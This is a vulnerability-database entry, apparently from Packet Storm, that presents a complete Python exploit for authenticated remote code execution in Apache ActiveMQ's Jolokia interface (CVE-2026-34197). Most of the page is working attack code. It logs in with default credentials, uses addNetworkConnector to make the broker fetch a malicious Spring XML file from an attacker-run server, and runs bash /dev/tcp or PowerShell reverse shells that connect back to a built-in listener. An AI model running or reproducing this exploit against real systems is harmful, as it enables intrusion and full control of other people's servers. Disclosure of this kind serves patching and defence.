PACKETSTORM 8.8 HIGH

📄 Apache ActiveMQ Jolokia Remote Code Execution_PACKETSTORM:222315

8.8 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

This is a proof of concept security research tool that evaluates a potential authenticated remote code execution pathway through the Jolokia management interface exposed by Apache ActiveMQ. The tool authenticates to the broker, discovers configuration...
Visit Original Source

Basic Information

ID PACKETSTORM:222315
Published Jun 1, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : Apache ActiveMQ Jolokia Management Interface – Authenticated Remote Code Execution Assessment Tool |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://jolokia.org/ |
==================================================================================================================================

[+] Summary : a proof-of-concept security research tool that evaluates a potential authenticated remote code execution (RCE) pathway through the Jolokia management interface exposed by Apache ActiveMQ.
The tool authenticates to the broker, discovers configuration details, interacts with JMX operations exposed via Jolokia,
and attempts to determine whether management functionality can be abused to trigger execution of externally supplied configurations.

[+] POC : python 1.py -t 192.168.1.100 -p 8161 -u admin -P admin --lhost 192.168.1.50 --platform linux

#!/usr/bin/env python3

import requests
import json
import sys
import time
import random
import string
import argparse
import threading
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, urljoin
import os

class ActiveMQExploit:
def __init__(self, target_host, target_port=8161, username='admin', password='admin',
target_uri='/', ssl=False, broker_name=None, lhost=None, lport=4444):
"""
Initialize the ActiveMQ exploit
"""
self.target_host = target_host
self.target_port = target_port
self.username = username
self.password = password
self.target_uri = target_uri.rstrip('/')
self.ssl = ssl
self.broker_name = broker_name
self.lhost = lhost
self.lport = lport
self.http_server = None
self.server_thread = None
self.payload_executed = False
protocol = 'https' if ssl else 'http'
self.base_url = f"{protocol}://{target_host}:{target_port}{self.target_uri}"
self.session = requests.Session()
self.session.auth = (username, password)

def random_string(self, length=8):
"""Generate random string"""
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))

def detect_broker_name(self):
"""Auto-detect broker name if not provided"""
if self.broker_name:
print(f"[*] Using provided broker name: {self.broker_name}")
return self.broker_name

print("[*] Attempting to detect broker name...")
jolokia_url = urljoin(self.base_url, '/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*')

try:
response = self.session.get(jolokia_url, timeout=10)

if response.status_code == 200:
data = response.json()
if data.get('status') == 200 and data.get('value'):
for mbean in data['value'].keys():
for part in mbean.split(','):
if part.startswith('brokerName='):
name = part.split('=', 1)[1]
print(f"[+] Detected broker name: {name}")
return name

print(f"[-] Could not detect broker name, using default 'localhost'")
return 'localhost'

except Exception as e:
print(f"[-] Error detecting broker name: {e}")
return 'localhost'

def remove_network_connector(self, broker_name, connector_name='NC'):
"""Remove existing network connector (cleanup)"""
print(f"[*] Attempting to remove existing connector: {connector_name}")

jolokia_url = urljoin(self.base_url, '/api/jolokia/')

body = {
'type': 'exec',
'mbean': f"org.apache.activemq:type=Broker,brokerName={broker_name}",
'operation': 'removeNetworkConnector(java.lang.String)',
'arguments': [connector_name]
}

try:
response = self.session.post(
jolokia_url,
json=body,
headers={'Content-Type': 'application/json'},
timeout=10
)

if response.status_code == 200:
print(f"[+] Successfully removed connector '{connector_name}'")
else:
print(f"[!] Connector '{connector_name}' not found or already removed")

except Exception as e:
print(f"[!] Error removing connector: {e}")

def check_authentication(self):
"""Check if authentication is working"""
print("[*] Checking authentication...")

jolokia_url = urljoin(self.base_url, '/api/jolokia/')

try:
response = self.session.get(jolokia_url, timeout=10)

if response.status_code == 200:
data = response.json()
agent = data.get('value', {}).get('agent', 'unknown')
print(f"[+] Authentication successful! Jolokia agent version: {agent}")
return True
elif response.status_code == 401:
print(f"[-] Authentication failed! Invalid credentials: {self.username}:{self.password}")
return False
elif response.status_code == 403:
print("[-] Jolokia access forbidden (403)")
return False
else:
print(f"[-] Unexpected HTTP status: {response.status_code}")
return False

except Exception as e:
print(f"[-] Connection error: {e}")
return False

def generate_payload(self, platform):
"""Generate payload based on platform"""
if platform == 'win':
payload = f"powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"$client = New-Object System.Net.Sockets.TCPClient('{self.lhost}',{self.lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{{0}};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()\""
shell = 'cmd.exe'
flag = '/c'
else:
payload = f"bash -i >& /dev/tcp/{self.lhost}/{self.lport} 0>&1"
shell = '/bin/sh'
flag = '-c'

return shell, flag, payload

def create_malicious_xml(self, platform):
"""Create malicious Spring XML payload"""
bean_id = self.random_string(8)
shell, flag, command = self.generate_payload(platform)

xml_template = f'''<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="{bean_id}" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>{shell}</value>
<value>{flag}</value>
<value><![CDATA[{command}]]></value>
</list>
</constructor-arg>
</bean>
</beans>'''

return xml_template

def exploit(self, platform='linux', reverse_port=None):
"""Main exploit function"""
print("\n" + "="*60)
print("Apache ActiveMQ RCE via Jolokia (CVE-2026-34197)")
print("="*60 + "\n")
if not self.check_authentication():
print("[-] Authentication failed. Exiting...")
return False
broker_name = self.detect_broker_name()
self.remove_network_connector(broker_name)
if not self.start_http_server(platform):
print("[-] Failed to start HTTP server")
return False
connector_id = self.random_string(8)
malicious_uri = f"static:(vm://{self.random_string(8)}?brokerConfig=xbean:http://{self.lhost}:{self.http_server_port}/payload.xml)"

print(f"[*] Malicious URI: {malicious_uri}")
jolokia_url = urljoin(self.base_url, '/api/jolokia/')

exploit_body = {
'type': 'exec',
'mbean': f"org.apache.activemq:type=Broker,brokerName={broker_name}",
'operation': 'addNetworkConnector(java.lang.String)',
'arguments': [malicious_uri]
}

print(f"[*] Sending exploit request to {self.target_host}:{self.target_port}")

try:
response = self.session.post(
jolokia_url,
json=exploit_body,
headers={'Content-Type': 'application/json'},
timeout=10
)

if response.status_code == 200:
data = response.json()
if data.get('status') == 200:
print("[+] Exploit accepted by Jolokia!")
else:
print(f"[!] Jolokia returned status {data.get('status')}: {data.get('error', 'Unknown error')}")
elif response.status_code == 401:
print("[-] Authentication failed during exploit")
return False
else:
print(f"[*] Unexpected response: {response.status_code} (continuing anyway)")

except requests.exceptions.Timeout:
print("[*] Request timed out - This is expected if the payload executed successfully")
except Exception as e:
print(f"[!] Error sending exploit: {e}")

print("\n[*] Waiting for payload execution...")
print(f"[*] Make sure to listen on port {self.lport if reverse_port else self.http_server_port}")
print("[*] Check your netcat listener for the reverse shell")
while not self.payload_executed:
time.sleep(1)

return True

class ExploitHTTPHandler(BaseHTTPRequestHandler):
"""Custom HTTP handler to serve malicious XML"""

parent = None

def log_message(self, format, *args):
pass

def do_GET(self):
if self.path == '/payload.xml':
self.send_response(200)
self.send_header('Content-Type', 'application/xml')
self.send_header('Connection', 'close')
self.end_headers()
self.wfile.write(self.server.xml_content.encode('utf-8'))
print("[+] Serving malicious Spring XML to target!")
if self.server.parent:
self.server.parent.payload_executed = True
else:
self.send_response(404)
self.end_headers()

def do_POST(self):
self.do_GET()

def start_http_server(self, platform):
"""Start HTTP server to host malicious XML"""
try:
self.http_server_port = 8080
self.xml_content = self.create_malicious_xml(platform)
self.server = HTTPServer(('0.0.0.0', self.http_server_port), self.ExploitHTTPHandler)
self.server.xml_content = self.xml_content
self.server.parent = self
self.server_thread = threading.Thread(target=self.server.serve_forever)
self.server_thread.daemon = True
self.server_thread.start()

print(f"[+] HTTP server started on port {self.http_server_port}")
print(f"[+] Hosting malicious XML at: http://{self.lhost}:{self.http_server_port}/payload.xml")
return True

except Exception as e:
print(f"[-] Failed to start HTTP server: {e}")
return False

def stop_http_server(self):
"""Stop the HTTP server"""
if hasattr(self, 'server'):
print("[*] Stopping HTTP server...")
self.server.shutdown()
self.server.server_close()
self.server_thread.join()

class NetcatListener:
"""Simple netcat listener for reverse shells"""
@staticmethod
def start_listener(port):
import socket
import threading

def handle_client(client_socket, address):
print(f"[+] Connection from {address}")
while True:
try:
data = client_socket.recv(1024)
if not data:
break
print(data.decode('utf-8', errors='ignore'), end='')
cmd = input()
client_socket.send((cmd + '\n').encode())
except:
break
client_socket.close()

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(('0.0.0.0', port))
server.listen(5)
print(f"[*] Listening for reverse shell on port {port}...")

while True:
client, addr = server.accept()
thread = threading.Thread(target=handle_client, args=(client, addr))
thread.start()

def main():
parser = argparse.ArgumentParser(description='Apache ActiveMQ RCE Exploit (CVE-2026-34197)')
parser.add_argument('-t', '--target', required=True, help='Target host (IP or domain)')
parser.add_argument('-p', '--port', type=int, default=8161, help='Target port (default: 8161)')
parser.add_argument('-u', '--username', default='admin', help='Jolokia username (default: admin)')
parser.add_argument('-P', '--password', default='admin', help='Jolokia password (default: admin)')
parser.add_argument('--ssl', action='store_true', help='Use HTTPS')
parser.add_argument('--broker-name', help='Broker name (auto-detected if not provided)')
parser.add_argument('--platform', choices=['linux', 'win'], default='linux', help='Target platform (default: linux)')
parser.add_argument('--lhost', required=True, help='Local host for reverse shell and HTTP server')
parser.add_argument('--lport', type=int, default=4444, help='Local port for reverse shell (default: 4444)')
parser.add_argument('--http-port', type=int, default=8080, help='HTTP server port (default: 8080)')

args = parser.parse_args()

print("""
╔═══════════════════════════════════════════════════════════╗
║ Apache ActiveMQ RCE Exploit (CVE-2026-34197) ║
║ Python Port - by indoushka ║
╚═══════════════════════════════════════════════════════════╝
""")

exploit = ActiveMQExploit(
target_host=args.target,
target_port=args.port,
username=args.username,
password=args.password,
ssl=args.ssl,
broker_name=args.broker_name,
lhost=args.lhost,
lport=args.lport
)
exploit.http_server_port = args.http_port
listener_thread = threading.Thread(target=NetcatListener.start_listener, args=(args.lport,))
listener_thread.daemon = True
listener_thread.start()
try:
exploit.exploit(platform=args.platform)
while True:
time.sleep(1)

except KeyboardInterrupt:
print("\n[!] Interrupted by user")
exploit.stop_http_server()
sys.exit(0)

if __name__ == '__main__':
main()

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.